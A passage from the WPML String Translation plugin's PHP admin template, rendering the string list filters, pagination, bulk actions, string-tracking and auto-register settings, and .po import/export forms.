<th scope="col" class="manage-column column-cb check-column"><input type="checkbox" checked="checked" name="" /></th>
<th><?php echo esc_html__( 'String', 'wpml-string-translation' ); ?></th>
</tr>
</thead>
<tfoot>
<tr>
<th scope="col" class="manage-column column-cb check-column"><input type="checkbox" checked="checked" name="" /></th>
<th><?php echo esc_html__( 'String', 'wpml-string-translation' ); ?></th>
</tr>
</tfoot>
<tbody>
<?php
$k = -1;
foreach ( $po_importer->get_strings() as $str ) :
$k++;
?>
<tr>
<td><input class="icl_st_row_cb" type="checkbox" name="icl_strings_selected[]"
<?php
if ( $str['exists'] || $use_po_translations !== true ) :
?>
checked="checked"<?php endif; ?> value="<?php echo $k; ?>" /></td>
<td>
<input type="text" name="icl_strings[]" value="<?php echo esc_attr( $str['string'] ); ?>" readonly="readonly" style="width:100%;" size="100" />
<?php if ( $use_po_translations === true ) : ?>
<input type="text" name="icl_translations[]" value="<?php echo esc_attr( $str['translation'] ); ?>" readonly="readonly" style="width:100%;
<?php
if ( $str['fuzzy'] ) :
?>
;background-color:#ffecec<?php endif; ?>" size="100" />
<input type="hidden" name="icl_fuzzy[]" value="<?php echo $str['fuzzy']; ?>" />
<input type="hidden" name="icl_name[]" value="<?php echo $str['name']; ?>" />
<input type="hidden" name="icl_context[]" value="<?php echo $str['context']; ?>" />
<?php endif; ?>
<?php if ( $str['name'] != md5( $str['string'] ) ) : ?>
<i><?php printf( esc_html__( 'Name: %s', 'wpml-string-translation' ), $str['name'] ); ?></i><br/>
<?php endif ?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<a name="add_po_strings_confirm"></a>
<p><span style="float: left"><input class="js-wpml-btn-cancel button" type="button" value="<?php echo esc_attr__( 'Cancel', 'wpml-string-translation' ); ?>"
onclick="location.href='admin.php?page=<?php echo htmlspecialchars( $_GET['page'], ENT_QUOTES ); ?>'"/>
<input class="js-wpml-btn-add-strings button-primary" type="submit" value="<?php echo esc_attr__( 'Add selected strings', 'wpml-string-translation' ); ?>"/></span><span class="spinner" style="float: left"></span>
</p>
</form>
<?php else : ?>
<p class="wpml-string-translation-filter">
<?php echo esc_html__( 'Display:', 'wpml-string-translation' ); ?>
<select name="icl_st_filter_status">
<?php
$createOption = function( $str, $option ) use ( $status_filter ) {
$selected = selected( $option, $status_filter, false );
?>
<option value="<?php echo $option; ?>" <?php echo $selected; ?>>
<?php echo esc_html( $str ); ?>
</option>
<?php
};
$createOption( __( 'All strings', 'wpml-string-translation' ), false );
$createOption( WPML_ST_String_Statuses::get_status( ICL_TM_COMPLETE ), ICL_TM_COMPLETE );
$createOption( __( 'Translation needed', 'wpml-string-translation' ), ICL_TM_NOT_TRANSLATED );
$createOption( __( 'Waiting for translator', 'wpml-string-translation' ), ICL_TM_WAITING_FOR_TRANSLATOR );
$createOption( __( 'Partial Translation', 'wpml-string-translation' ), ICL_STRING_TRANSLATION_PARTIAL );
?>
</select>
<?php if ( ! empty( $icl_contexts ) ) : ?>
<span style="white-space:nowrap">
<?php echo esc_html__( 'In domain:', 'wpml-string-translation' ); ?>
<select name="icl_st_filter_context">
<option value=""
<?php
if ( $context_filter === false ) :
?>
selected="selected"<?php endif; ?>><?php echo esc_html__( 'All domains', 'wpml-string-translation' ); ?></option>
<?php foreach ( $icl_contexts as $v ) : ?>
<?php
if ( ! $v->context ) {
$v->context = WPML_ST_Strings::EMPTY_CONTEXT_LABEL;
}
?>
<option value="<?php echo esc_attr( $v->context ); ?>"
data-unfiltered-count="<?php echo( isset( $unfiltered_contexts[ $v->context ] ) ? $unfiltered_contexts[ $v->context ] : 0 ); ?>"
<?php
if ( $context_filter == filter_var( $v->context, FILTER_SANITIZE_FULL_SPECIAL_CHARS ) ) :
?>
selected="selected"<?php endif; ?>><?php echo esc_html( $v->context ) . ' (' . $v->c . ')'; ?></option>
<?php endforeach; ?>
</select>
</span>
<?php endif; ?>
<?php if ( $translation_priorities ) : ?>
<span style="white-space:nowrap">
<?php echo esc_html__( 'With Priority:', 'wpml-string-translation' ); ?>
<select name="icl-st-filter-translation-priority">
<option value=""><?php esc_html_e( 'All Translation Priorities', 'wpml-string-translation' ); ?></option>
<?php
foreach ( $translation_priorities as $translation_priority ) {
$translation_priority_selected = selected( $filter_translation_priority, $translation_priority->name, false );
?>
<option value="<?php echo $translation_priority->name; ?>" <?php echo $translation_priority_selected; ?>>
<?php echo $translation_priority->name; ?>
</option>
<?php } ?>
</select>
</span>
<?php endif; ?>
<span style="white-space:nowrap">
<label>
<?php echo esc_html__( 'Search for:', 'wpml-string-translation' ); ?>
<input type="text" id="icl_st_filter_search" value="<?php echo $search_filter; ?>" />
</label>
<label>
<input type="checkbox" id="icl_st_filter_search_em" value="1"
<?php
if ( $exact_match ) :
?>
checked="checked"<?php endif; ?> />
<?php echo esc_html__( 'Exact match', 'wpml-string-translation' ); ?>
</label>
<label>
<input
type="checkbox"
id="search_translation"
value="1"
<?php
if ( $search_translation ) :
?>
checked="checked"<?php endif; ?>
class="js-otgs-popover-tooltip"
title="<?php echo esc_attr__( 'Search in both the original language and in translations. Searching in translations may take a bit of time.' ); ?>"
/>
<?php echo esc_html__( 'Include translations', 'wpml-string-translation' ); ?>
</label>
<input class="button" type="button" value="<?php esc_attr_e( 'Search', 'wpml-string-translation' ); ?>" id="icl_st_filter_search_sb"/>
</span>
<?php if ( $search_filter ) : ?>
<span style="white-space:nowrap">
<?php printf( esc_html__( 'Showing only strings that contain %s', 'wpml-string-translation' ), '<i>' . esc_html( $search_filter ) . '</i>' ); ?>
<input class="button" type="button" value="<?php esc_attr_e( 'Exit search', 'wpml-string-translation' ); ?>" id="icl_st_filter_search_remove"/>
</span>
<?php endif; ?>
</p>
<div id="wpml-mo-scan-st-page"></div>
<?php if ( ! empty( $icl_contexts ) ) : ?>
<p><a href="#" id="wpml-language-of-domains-link"><?php esc_html_e( 'Languages of domains', 'wpml-string-translation' ); ?></a></p>
<?php endif; ?>
<?php
$string_translation_table_ui = new WPML_String_Translation_Table( icl_get_string_translations() );
$string_translation_table_ui->render();
if ( ! empty( $icl_contexts ) ) {
$string_factory = new WPML_ST_String_Factory( $wpdb );
$change_string_domain_language_dialog = new WPML_Change_String_Domain_Language_Dialog( $wpdb, $sitepress, $string_factory );
$change_string_domain_language_dialog->render( $icl_contexts );
}
$get_show_results = filter_var( isset( $_GET['show_results'] ) ? $_GET['show_results'] : '', FILTER_SANITIZE_FULL_SPECIAL_CHARS );
$get_page = filter_var( $_GET['page'], FILTER_SANITIZE_URL );
$query_args = array(
'page' => $get_page,
);
if ( $context_filter ) {
$query_args['context'] = $context_filter;
}
if ( $status_filter ) {
$query_args['status'] = $status_filter;
}
if ( $filter_translation_priority ) {
$query_args['tp'] = $filter_translation_priority;
}
if ( $search_filter ) {
$query_args['search'] = $search_filter;
}
if ( $exact_match ) {
$query_args['em'] = $exact_match;
}
if ( $search_translation ) {
$query_args['search_translation'] = $search_translation;
}
if ( $is_troubleshooting ) {
$query_args['troubleshooting'] = $is_troubleshooting;
}
?>
<div class="tablenav icl-st-tablenav">
<?php
if ( $wp_query->found_posts > 10 ) {
$paged = filter_input( INPUT_GET, 'paged', FILTER_SANITIZE_NUMBER_INT );
if ( ! $paged || $get_show_results === 'all' ) {
$paged = 1;
}
if ( $paged && (int) $paged > 1 ) {
$query_args['pages'] = $paged;
}
if ( $get_show_results === 'all' ) {
$url_show_paginated_results = add_query_arg( $query_args, admin_url( 'admin.php' ) );
?>
<div class="tablenav-pages">
<a href="<?php echo esc_url( $url_show_paginated_results ); ?>"><?php printf( esc_html__( 'Display %d results per page', 'wpml-string-translation' ), $sitepress_settings['st']['strings_per_page'] ); ?></a>
</div>
<?php
} else {
/** @var array|null $icl_translation_filter */
/** @var string $page_links */
$page_links = paginate_links(
array(
'base' => add_query_arg( 'paged', '%#%' ),
'format' => '',
'total' => (int) $wp_query->max_num_pages,
'current' => (int) $paged,
'prev_text' => '«',
'next_text' => '»',
'add_args' => isset( $icl_translation_filter ) ? $icl_translation_filter : array(),
)
);
?>
<div class="tablenav-pages">
<?php
$url_page_size = add_query_arg( $query_args, admin_url( 'admin.php' ) );
$query_args['show_results'] = 'all';
$url_show_all_results = add_query_arg( $query_args, admin_url( 'admin.php' ) );
if ( $page_links ) {
$page_links_text = sprintf(
'<span class="displaying-num">' . esc_html__( 'Displaying %1$s–%2$s of %3$s', 'wpml-string-translation' ) . '</span>%4$s',
number_format_i18n( ( (int) $paged - 1 ) * $wp_query->query_vars['posts_per_page'] + 1 ),
number_format_i18n( min( (int) $paged * $wp_query->query_vars['posts_per_page'], $wp_query->found_posts ) ),
number_format_i18n( $wp_query->found_posts ),
$page_links
);
echo $page_links_text;
}
if ( ! $get_show_results ) {
?>
<div class="icl-st-per-page">
<?php
echo esc_html__( 'Strings per page:', 'wpml-string-translation' );
$strings_per_page = $wp_query->query_vars['posts_per_page'];
$option_values = array( 10, 20, 50, 100 );
$options = array();
foreach ( $option_values as $option_value ) {
$option = '<option value="' . $option_value . '"';
if ( $strings_per_page == $option_value ) {
$option .= ' selected="selected"';
}
$option .= '>';
$option .= $option_value;
$option .= '</option>';
$options[] = $option;
}
?>
<select name="icl_st_per_page"
onchange="location.href='<?php echo esc_url( $url_page_size ); ?>&strings_per_page='+this.value">
<?php echo implode( $options ); ?>
</select>
<a href="<?php echo esc_url( $url_show_all_results ); ?>"><?php echo esc_html__( 'Display all results', 'wpml-string-translation' ); ?></a>
</div>
<?php
}
?>
</div>
<?php
}
}
?>
<?php if ( current_user_can( 'manage_options' ) || current_user_can( 'manage_translations' ) ) : // the rest is only for admins or translation mangagers, not for editors ?>
<div class="icl-st-bulk-actions">
<input type="hidden" id="_icl_nonce_dstr"
value="<?php echo wp_create_nonce( 'icl_st_delete_strings_nonce' ); ?>"/>
<div id="wpml-st-package-incomplete"
style="display:none;color:red;"><?php echo esc_html__( 'You have selected strings belonging to a package. Please select all strings from the affected package or unselect these strings.', 'wpml-string-translation' ); ?></div>
<div id="wpml-st-non-default-language-string" data-show="true" class="ant-alert ant-alert-warning ant-alert-warning-override"
role="alert" style="display:none;">
<i class="ant-alert-icon otgs-ico otgs-ico-warning-o"></i>
<div class="ant-alert-content">
<div class="ant-alert-message"><?php echo esc_html__( 'Selected strings are not in the site\'s default language and will not be translated automatically if you\'re using the "Translate Everything Automatically" mode. Instead, after sending them for translation here, you need to go to the WPML -> Translations page and translate them manually.', 'wpml-string-translation' ); ?></div>
<div class="ant-alert-description"></div>
</div>
</div>
<input type="button" class="button button-secondary" id="icl_st_delete_selected"
value="<?php echo esc_attr__( 'Delete selected strings', 'wpml-string-translation' ); ?>"
data-confirm="<?php echo esc_attr__( "Are you sure you want to delete these strings?\nTheir translations will be deleted too.", 'wpml-string-translation' ); ?>"
data-error="<?php echo __( 'WPML could not delete the strings', 'wpml-string-translation' ); ?>"
disabled="disabled"/>
<?php
$change_string_language_dialog = new WPML_Change_String_Language_Select( $wpdb, $sitepress );
$change_string_language_dialog->show();
if ( $translation_priorities ) {
$change_translation_priority_select = new WPML_Translation_Priority_Select();
$change_translation_priority_select->show();
wp_enqueue_script( 'wpml-st-translation-priority', WPML_ST_URL . '/res/js/string-translation-priority.js', array( 'jquery-ui-dialog', 'wpml-st-scripts', 'wpml-select-2' ), WPML_ST_VERSION );
}
?>
<span class="spinner icl-st-change-spinner"></span>
</div>
</div>
<br clear="all" />
<?php do_action( 'wpml_st_below_menu', $status_filter_lang, 10, 2 ); ?>
<br style="clear:both;" />
<div id="dashboard-widgets-wrap" class="wpml-strings-widgets">
<div id="dashboard-widgets" class="metabox-holder">
<?php if ( current_user_can( 'manage_options' ) ) : ?>
<div class="postbox-container" style="width: 49%;">
<div id="normal-sortables-stsel" class="meta-box-sortables ui-sortable">
<div id="dashboard_wpml_stsel_1" class="postbox">
<div class="handlediv" title="<?php echo esc_attr__( 'Click to toggle', 'wpml-string-translation' ); ?>">
<svg viewBox="64 64 896 896" focusable="false" class="" data-icon="right" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M765.7 486.8L314.9 134.7A7.97 7.97 0 0 0 302 141v77.3c0 4.9 2.3 9.6 6.1 12.6l360 281.1-360 281.1c-3.9 3-6.1 7.7-6.1 12.6V883c0 6.7 7.7 10.4 12.9 6.3l450.8-352.1a31.96 31.96 0 0 0 0-50.4z"></path></svg>
</div>
<h3 class="hndle">
<span><?php echo esc_html__( 'Track where strings appear on the site', 'wpml-string-translation' ); ?></span>
</h3>
<div class="inside">
<p class="sub"><?php echo esc_html__( "WPML can keep track of where strings are used on the public pages. Activating this feature will enable the 'view in page' functionality and make translation easier.", 'wpml-string-translation' ); ?></p>
<form id="icl_st_track_strings" name="icl_st_track_strings" action="">
<?php wp_nonce_field( 'icl_st_track_strings_nonce', '_icl_nonce' ); ?>
<p class="icl_form_errors" style="display:none"></p>
<ul>
<li>
<input type="hidden" name="icl_st[track_strings]" value="0" />
<?php
$track_strings = array_key_exists( 'track_strings', $string_settings ) && $string_settings['track_strings'];
$track_strings_checked = checked( true, $track_strings, false );
$track_strings_display = ' style="color: red;' . ( ! $track_strings ? 'display: none;' : '' ) . '""';
$url = 'https://wpml.org/documentation/getting-started-guide/string-translation/finding-strings-that-dont-appear-on-the-string-translation-page/?utm_source=plugin&utm_medium=gui&utm_campaign=wpmlst';
$message_sentences = array();
$anchor_text = esc_attr_x( 'String Tracking', 'String Tracking warning: sentence 1, anchor text', 'wpml-string-translation' );
$message_sentences[] = esc_html_x( '%s allows you to see where strings come from, so you can translate them accurately.', 'String Tracking warning: sentence 1', 'wpml-string-translation' );
$message_sentences[] = esc_html_x( 'It needs to parse the PHP source files and the output HTML.', 'String Tracking warning: sentence 2', 'wpml-string-translation' );
$message_sentences[] = esc_html_x( 'This feature is CPU-intensive and should only be used while you are developing sites.', 'String Tracking warning: sentence 3', 'wpml-string-translation' );
$message_sentences[] = esc_html_x( 'Remember to turn it off before going to production, to avoid performance problems.', 'String Tracking warning: sentence 4', 'wpml-string-translation' );
$anchor = '<a href="' . $url . '" target="_blank">' . $anchor_text . '</a>';
$message = sprintf( implode( ' ', $message_sentences ), $anchor );
?>
<input type="checkbox" id="track_strings" name="icl_st[track_strings]" value="1" <?php echo $track_strings_checked; ?> />
<label for="track_strings"><?php esc_html_e( 'Track where strings appear on the site', 'wpml-string-translation' ); ?></label>
<p class="js-track-strings-note" <?php echo $track_strings_display; ?>>
<?php echo $message; ?>
</p>
<p><a href="https://wpml.org/faq/prevent-performance-issues-with-wpml/?utm_source=plugin&utm_medium=gui&utm_campaign=wpmlst" target="_blank"><?php esc_html_e( 'Performance considerations', 'wpml-string-translation' ); ?> »</a></p>
</li>
<li>
<?php
$hl_color_default = '#FFFF00';
$hl_color = ! empty( $string_settings['hl_color'] ) ? $string_settings['hl_color'] : $hl_color_default;
$hl_color_label = __( 'Highlight color for strings', 'wpml-string-translation' );
$color_picker_args = array(
'input_name_group' => 'icl_st',
'input_name_id' => 'hl_color',
'default' => $hl_color_default,
'value' => $hl_color,
'label' => $hl_color_label,
);
$wpml_color_picker = new WPML_Color_Picker( $color_picker_args );
echo $wpml_color_picker->get_current_language_color_selector_control();
?>
</li>
</ul>
<p>
<input class="button-secondary" type="submit" name="iclt_st_save" value="<?php esc_attr_e( 'Apply', 'wpml-string-translation' ); ?>"/>
<span class="icl_ajx_response" id="icl_ajx_response2" style="display:inline"></span>
</p>
</form>
</div>
</div>
<div id="dashboard_wpml_cleanup_strings" class="postbox"></div>
<div id="dashboard_wpml_stsel_1.5" class="postbox wpml-st-auto-register-strings">
<?php
/** @var AutoRegisterSettings $auto_register_settings */
$auto_register_settings = WPML\Container\make( AutoRegisterSettings::class );
?>
<div class="handlediv" title="<?php echo esc_attr__( 'Click to toggle', 'wpml-string-translation' ); ?>">
<svg viewBox="64 64 896 896" focusable="false" class="" data-icon="right" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M765.7 486.8L314.9 134.7A7.97 7.97 0 0 0 302 141v77.3c0 4.9 2.3 9.6 6.1 12.6l360 281.1-360 281.1c-3.9 3-6.1 7.7-6.1 12.6V883c0 6.7 7.7 10.4 12.9 6.3l450.8-352.1a31.96 31.96 0 0 0 0-50.4z"></path></svg>
</div>
<h3 class="hndle">
<span><?php echo esc_html__( 'Auto register strings for translation', 'wpml-string-translation' ); ?></span>
</h3>
<div class="inside">
<p>
<label for="auto_register_enabled">
<input type="checkbox"
class="js-auto-register-enabled"
id="<?php echo AutoRegisterSettings::KEY_ENABLED; ?>"
name="<?php echo AutoRegisterSettings::KEY_ENABLED; ?>"
<?php checked( true, $auto_register_settings->isEnabled() ); ?>"
>
<?php echo esc_html__( 'Look for strings while pages are rendered', 'wpml-string-translation' ); ?>
</label>
</p>
<p class="js-auto-register-description sub"
data-enabled-string="<?php echo esc_attr( $auto_register_settings->getFeatureEnabledDescription() ); ?>"
data-disabled-string="<?php echo esc_attr( $auto_register_settings->getFeatureDisabledDescription() ); ?>"
data-running-countdown="<?php echo $auto_register_settings->getTimeToAutoDisable(); ?>"
data-reset-countdown="<?php echo AutoRegisterSettings::RESET_AUTOLOAD_TIMEOUT; ?>"
></p>
<div class="wpml-st-excluded-info-wrapper"
<?php echo ! $auto_register_settings->isEnabled() ? 'style="display:none"' : ''; ?>
>
<p class="wpml-st-excluded-info"
data-all-included="<?php echo esc_attr__( 'Strings from all text domains will be auto-registered', 'wpml-string-translation' ); ?>"
data-all-excluded="<?php echo esc_attr__( 'Strings from all text domains are excluded', 'wpml-string-translation' ); ?>"
data-excluded-preview="<?php echo esc_attr__( 'You excluded: ', 'wpml-string-translation' ); ?>"
data-included-preview="<?php echo esc_attr__( 'You included: ', 'wpml-string-translation' ); ?>"
data-preview-suffix="<?php echo esc_attr__( 'and others', 'wpml-string-translation' ); ?>"
>
</p>
<p>
<input type="button"
class="button-secondary js-wpml-autoregister-edit-contexts"
value="<?php echo esc_attr__( 'Edit', 'wpml-string-translation' ); ?>"
/>
</p>
<div class="wpml-st-exclude-contexts-box"
style="display:none;"
title="<?php echo esc_attr__( 'Auto-register strings from these text domains', 'wpml-string-translation' ); ?>"
>
<form method="post" action="" data-nonce="<?php echo wp_create_nonce( 'wpml-st-cancel-button' ); ?>" >
<?php
$excluded = $auto_register_settings->getExcludedDomains();
$has_excluded = count( $excluded ) > 0;
?>
<div id="wpml-st-filter-and-select-all-box">
<input type="input" name="search" placeholder="<?php echo esc_attr__( 'Search', 'wpml-string-translation' ); ?>" />
<br/>
<p>
<input type="checkbox" name="select_all" <?php checked( false, $has_excluded ); ?> />
<span><?php echo esc_html__( 'Select all', 'wpml-string-translation' ); ?></span>
</p>
</div>
<div class="contexts">
<?php foreach ( $auto_register_settings->getDomainsAndTheirExcludeStatus() as $context => $status ) : ?>
<?php if ( strlen( $context ) ) : ?>
<p>
<input
type="checkbox"
name="<?php echo AutoRegisterSettings::KEY_EXCLUDED_DOMAINS; ?>[]"
value="<?php echo $context; ?>"
<?php checked( false, $status ); ?>
/>
<span><?php echo $context; ?></span>
</p>
<?php endif; ?>
<?php endforeach; ?>
</div>
</form>
</div>
</div>
</div><!-- .wpml-st-excluded-info-wrapper -->
</div>
</div>
</div>
<?php endif; ?>
<div class="postbox-container" style="width: 49%;">
<div id="normal-sortables-poie" class="meta-box-sortables ui-sortable">
<div id="dashboard_wpml_st_poie" class="postbox">
<div class="handlediv" title="<?php echo esc_attr__( 'Click to toggle', 'wpml-string-translation' ); ?>">
<svg viewBox="64 64 896 896" focusable="false" class="" data-icon="right" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M765.7 486.8L314.9 134.7A7.97 7.97 0 0 0 302 141v77.3c0 4.9 2.3 9.6 6.1 12.6l360 281.1-360 281.1c-3.9 3-6.1 7.7-6.1 12.6V883c0 6.7 7.7 10.4 12.9 6.3l450.8-352.1a31.96 31.96 0 0 0 0-50.4z"></path></svg>
</div>
<h3 class="hndle">
<span><?php echo esc_html__( 'Import / export .po', 'wpml-string-translation' ); ?></span>
</h3>
<div class="inside">
<h5><?php echo esc_html__( 'Import', 'wpml-string-translation' ); ?></h5>
<form id="icl_st_po_form" action="" name="icl_st_po_form" method="post" enctype="multipart/form-data">
<?php wp_nonce_field( 'icl_po_form' ); ?>
<p class="sub">
<label for="icl_po_file"><?php echo esc_html__( '.po file:', 'wpml-string-translation' ); ?></label>
<input id="icl_po_file" class="button primary" type="file" name="icl_po_file" />
</p>
<p class="sub" style="line-height:2.3em">
<input type="checkbox" name="icl_st_po_translations" id="icl_st_po_translations" />
<label for="icl_st_po_translations"><?php echo esc_html__( 'Also create translations according to the .po file', 'wpml-string-translation' ); ?></label>
<select name="icl_st_po_language" id="icl_st_po_language" style="display:none">
<?php
foreach ( $active_languages as $al ) :
if ( $al['code'] == $string_settings['strings_language'] ) {
continue;}
?>
<option value="<?php echo esc_attr( $al['code'] ); ?>"><?php echo esc_html( $al['display_name'] ); ?></option>
<?php endforeach; ?>
</select>
</p>
<p class="sub" style="line-height:2.3em" >
<?php echo esc_html__( 'Select what the strings are for:', 'wpml-string-translation' ); ?>
<?php if ( ! empty( $available_contexts ) ) : ?>
<span>
<select name="icl_st_i_context">
<option value="">-------</option>
<?php foreach ( $available_contexts as $v ) : ?>
<option value="<?php echo esc_attr( (string) $v ); ?>"
<?php
if ( $context_filter == $v ) :
?>
selected="selected"<?php endif; ?>><?php echo $v; ?></option>
<?php endforeach; ?>
</select>
<a href="#"
onclick="var __nxt = jQuery(this).parent().next(); jQuery(this).prev().val(''); jQuery(this).parent().fadeOut('fast',function(){__nxt.fadeIn('fast')});return false;"><?php echo esc_html__( 'new', 'wpml-string-translation' ); ?></a>
</span>
<?php endif; ?>
<span
<?php
if ( ! empty( $available_contexts ) ) :
?>
style="display:none"<?php endif ?>>
<input type="text" name="icl_st_i_context_new" />
<?php if ( ! empty( $available_contexts ) ) : ?>
<a href="#"
onclick="var __prv = jQuery(this).parent().prev(); jQuery(this).prev().val(''); jQuery(this).parent().fadeOut('fast',function(){__prv.fadeIn('fast')});return false;"><?php echo esc_html__( 'select from existing', 'wpml-string-translation' ); ?></a>
<?php endif ?>
</span>
</p>
<p>
<input class="button" name="icl_po_upload" id="icl_po_upload" type="submit" value="<?php echo esc_attr__( 'Submit', 'wpml-string-translation' ); ?>"/>
<span id="icl_st_err_domain" class="icl_error_text" style="display:none"><?php echo esc_html__( 'Please enter a domain!', 'wpml-string-translation' ); ?></span>
<span id="icl_st_err_po" class="icl_error_text" style="display:none"><?php echo esc_html__( 'Please select the .po file to upload!', 'wpml-string-translation' ); ?></span>
</p>
</form>
<?php if ( ! empty( $icl_contexts ) ) : ?>
<h5><?php echo esc_html__( 'Export strings into .po/.pot file', 'wpml-string-translation' ); ?></h5>
<?php
if ( version_compare( WPML_ST_VERSION, '2.2', '<=' ) ) {
?>
<div class="below-h2 error">
<?php echo esc_html__( 'PO export may be glitchy. We are working to fix it.', 'wpml-string-translation' ); ?>
</div>
<?php
}
?>
<form method="post" action="">
<?php wp_nonce_field( 'icl_po_export' ); ?>
<p>
<?php echo esc_html__( 'Select domain:', 'wpml-string-translation' ); ?>
<select name="icl_st_e_context" id="icl_st_e_context">
<?php foreach ( $icl_contexts as $v ) : ?>
<option value="<?php echo esc_attr( $v->context ); ?>"
<?php
if ( $context_filter == $v->context ) :
?>
selected="selected"<?php endif; ?>><?php echo $v->context . ' (' . $v->c . ')'; ?></option>
<?php endforeach; ?>
</select>
</p>
<p style="line-height:2.3em">
<input type="checkbox" name="icl_st_pe_translations" id="icl_st_pe_translations" checked="checked" value="1" onchange="if(jQuery(this).prop('checked'))jQuery('#icl_st_e_language').fadeIn('fast'); else jQuery('#icl_st_e_language').fadeOut('fast')" />
<label for="icl_st_pe_translations"><?php echo esc_html__( 'Also include translations', 'wpml-string-translation' ); ?></label>
<select name="icl_st_e_language" id="icl_st_e_language">
<?php
foreach ( $active_languages as $al ) :
if ( $al['code'] == $string_settings['strings_language'] ) {
continue;}
?>
<option value="<?php echo esc_attr( $al['code'] ); ?>"><?php echo esc_html( $al['display_name'] ); ?></option>
<?php endforeach; ?>
</select>
</p>
<p><input type="submit" class="button-secondary" name="icl_st_pie_e" value="<?php echo esc_attr__( 'Submit', 'wpml-string-translation' ); ?>"/></p>
<?php endif ?>
</form>
</div>
</div>
</div>
</div>
<?php if ( current_user_can( 'manage_options' ) ) : ?>
<div class="postbox-container" style="width: 49%;">
<div id="normal-sortables-moreoptions" class="meta-box-sortables ui-sortable">
<div id="dashboard_wpml_st_poie" class="postbox">
<div class="handlediv" title="<?php echo esc_attr__( 'Click to toggle', 'wpml-string-translation' ); ?>">
<svg viewBox="64 64 896 896" focusable="false" class="" data-icon="right" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M765.7 486.8L314.9 134.7A7.97 7.97 0 0 0 302 141v77.3c0 4.9 2.3 9.6 6.1 12.6l360 281.1-360 281.1c-3.9 3-6.1 7.7-6.1 12.6V883c0 6.7 7.7 10.4 12.9 6.3l450.8-352.1a31.96 31.96 0 0 0 0-50.4z"></path></svg>
</div>
<h3 class="hndle">
<span><?php echo esc_html__( 'More options', 'wpml-string-translation' ); ?></span>
</h3>
<div class="inside">
<form id="icl_st_more_options" name="icl_st_more_options" method="post">
<?php wp_nonce_field( 'icl_st_more_options_nonce', '_icl_nonce' ); ?>
<div>
<?php
$editable_roles = get_editable_roles();
if ( ! isset( $string_settings['translated-users'] ) ) {
$string_settings['translated-users'] = array();
}
$tnames = array();
foreach ( $editable_roles as $role => $details ) {
if ( in_array( $role, $string_settings['translated-users'] ) ) {
$tnames[] = translate_user_role( $details['name'] );
}
}
$tustr = '<span id="icl_st_tusers_list">';
if ( ! empty( $tnames ) ) {
$tustr .= join( ', ', array_map( 'translate_user_role', $tnames ) );
} else {
$tustr = esc_html__( 'none', 'wpml-string-translation' );
}
$tustr .= '</span>';
$tustr .= ' <a href="#" onclick="jQuery(\'#icl_st_tusers\').slideToggle();return false;">' . esc_html__( 'edit', 'wpml-string-translation' ) . '</a>';
?>
<?php printf( __( 'Translating users of types: %s', 'wpml-string-translation' ), $tustr ); ?>
<div id="icl_st_tusers" style="padding:6px;display: none;">
<?php
foreach ( $editable_roles as $role => $details ) {
$name = translate_user_role( $details['name'] );
$checked = in_array( $role, (array) $string_settings['translated-users'] ) ? ' checked="checked"' : '';
?>
<label><input type="checkbox" name="users[<?php echo $role; ?>]" value="1"<?php echo $checked; ?>/> <span><?php echo $name; ?></span></label>
<?php
}
?>
</div>
</div>
<br />
<p class="submit">
<input class="button-secondary" type="submit" value="<?php esc_attr_e( 'Apply', 'wpml-string-translation' ); ?>" />
<span class="icl_ajx_response" id="icl_ajx_response4" style="display:inline"></span>
</p>
</form>
</div>
</div>
</div>
<?php endif; ?>
</div>
</div>
<br clear="all" /><br />
<a href="admin.php?page=<?php echo WPML_ST_FOLDER; ?>/menu/string-translation.php&trop=1"><?php esc_html_e( 'Translate texts in admin screens »', 'wpml-string-translation' ); ?></a>
<?php endif; // if(current_user_can('manage_options') ?>
<?php endif; ?>
<?php do_action( 'icl_menu_footer' ); ?>
</div>